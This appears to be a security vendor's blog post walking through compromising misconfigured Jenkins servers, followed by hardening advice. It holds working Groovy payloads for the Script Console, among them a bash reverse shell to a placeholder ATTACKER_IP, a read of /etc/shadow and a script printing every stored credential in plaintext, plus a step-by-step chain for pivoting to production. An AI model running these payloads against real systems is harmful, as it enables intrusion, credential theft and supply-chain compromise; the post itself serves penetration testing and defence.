Valtik Studios
Back to blog
Jenkinscritical2026-04-1616 min

Jenkins: From Anonymous Read to Full RCE

Jenkins with anonymous read enabled exposes Groovy Script Console for authenticated remote code execution. Compromise one CI/CD server and you own every credential, every pipeline, every repo, every production deployment. A supply-chain attack and penetration testing walkthrough.

Anonymous read is on by default

Jenkins ships with a security configuration called "Allow anonymous read access" that is enabled during most installation paths. The intent is to let unauthenticated users view build statuses and job configurations. The reality is that it exposes far more than build dashboards. It hands an attacker the first link in a chain that ends with root access on the build server.

On a default Jenkins instance, an unauthenticated user can browse to / and see every job, every build, and every pipeline defined on the server. Job configurations often contain hardcoded credentials, internal hostnames, deployment targets, and infrastructure details. This is not a bug. It is the documented default behavior.

The Script Console: Groovy on the server

Jenkins includes a built-in Groovy script console at /script. If the authorization model allows access (and on many misconfigured instances it does), this endpoint executes arbitrary Groovy code on the Jenkins controller with the same permissions as the Jenkins process. On Linux, Jenkins typically runs as its own user, but on many installations it runs as root.

A simple proof of concept:

def cmd = "id".execute()

println cmd.text

If you see uid=0(root), you own the box. If you see a Jenkins service account, you still have access to every secret stored in Jenkins and every server it deploys to.

More useful payloads for a pentest:

// Reverse shell

def cmd = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read /etc/shadow

def shadow = new File("/etc/shadow").text

println shadow

// List all credentials

import com.cloudbees.plugins.credentials.*

def creds = CredentialsProvider.lookupCredentials(

com.cloudbees.plugins.credentials.common.StandardCredentials.class,

Jenkins.instance, null, null

)

creds.each { println it.id + " : " + it.description }

Pipeline replay reveals source code

Jenkins Pipeline jobs have a "Replay" feature at /job/{name}/{build}/replay. This shows the full Groovy pipeline source code, including Jenkinsfiles pulled from private Git repositories. On instances with anonymous read access, anyone can view replayed pipeline definitions.

These Jenkinsfiles frequently contain:

  • SSH keys embedded as inline strings
  • AWS access keys passed as environment variables
  • Database connection strings for production systems
  • Deployment scripts showing the full infrastructure topology

Credential dumping via /credentials/

Jenkins stores credentials (SSH keys, API tokens, usernames and passwords, secret files) in an encrypted format on disk. The encryption key is stored in secrets/master.key and secrets/hudson.util.Secret. With script console access, decrypting every stored credential is trivial:

import hudson.util.Secret

import com.cloudbees.plugins.credentials.*

import com.cloudbees.plugins.credentials.impl.*

def creds = CredentialsProvider.lookupCredentials(

com.cloudbees.plugins.credentials.common.StandardCredentials.class,

Jenkins.instance, null, null

)

creds.each {

if (it instanceof UsernamePasswordCredentialsImpl) {

println "USER: " + it.username + " PASS: " + it.password.plainText

}

}

On a typical enterprise Jenkins server, this yields 20 to 50 credential pairs including Git repository tokens, cloud provider keys, container registry passwords, and SSH private keys for production servers.

The full chain

Here is the complete attack chain from zero access to full infrastructure compromise:

  1. Discover Jenkins on port 8080 during network scanning. The HTTP response header X-Jenkins confirms the target.
  2. Browse anonymously to enumerate all jobs, build history, and pipeline configurations.
  3. Access /script to confirm Groovy console availability. Run println(Jenkins.instance.pluginManager.plugins) to enumerate installed plugins and identify additional attack surface.
  4. Dump all credentials using the Groovy script above. Export SSH keys and API tokens.
  5. Enumerate build agents via Jenkins.instance.computers.each { println it.name + " " + it.hostName }. These are additional servers you can now access.
  6. Pivot to production using the harvested SSH keys and deployment credentials. Jenkins build agents often have network access to production environments that are not reachable from the general corporate network.

Why this keeps happening

Jenkins is self-hosted, often by development teams rather than security teams. It gets installed, configured just enough to run builds, and then forgotten. The admin who set it up three years ago has moved to another team. Nobody reviews the authorization settings. The instance accumulates credentials as developers add deployment pipelines.

Shodan shows over 86,000 Jenkins instances exposed to the internet as of early 2026. Many of them still allow anonymous read access.

Defense

  • Disable anonymous access immediately: Manage Jenkins > Security > Authorization > select "Logged-in users can do anything" at minimum
  • Restrict /script access to administrators only using matrix-based security
  • Audit stored credentials quarterly and rotate any that have been in Jenkins for more than 90 days
  • Never expose Jenkins to the internet without a VPN or zero-trust proxy in front of it
  • Enable the audit trail plugin to log who accesses what and when
  • Use the Credentials Binding plugin instead of hardcoding secrets in Jenkinsfiles
jenkinscicdsupply chainrcepenetration testingvulnerability assessmentapplication securityresearch

Want us to check your Jenkins setup?

Our scanner detects this exact misconfiguration. plus dozens more across 38 platforms. Free website check available, no commitment required.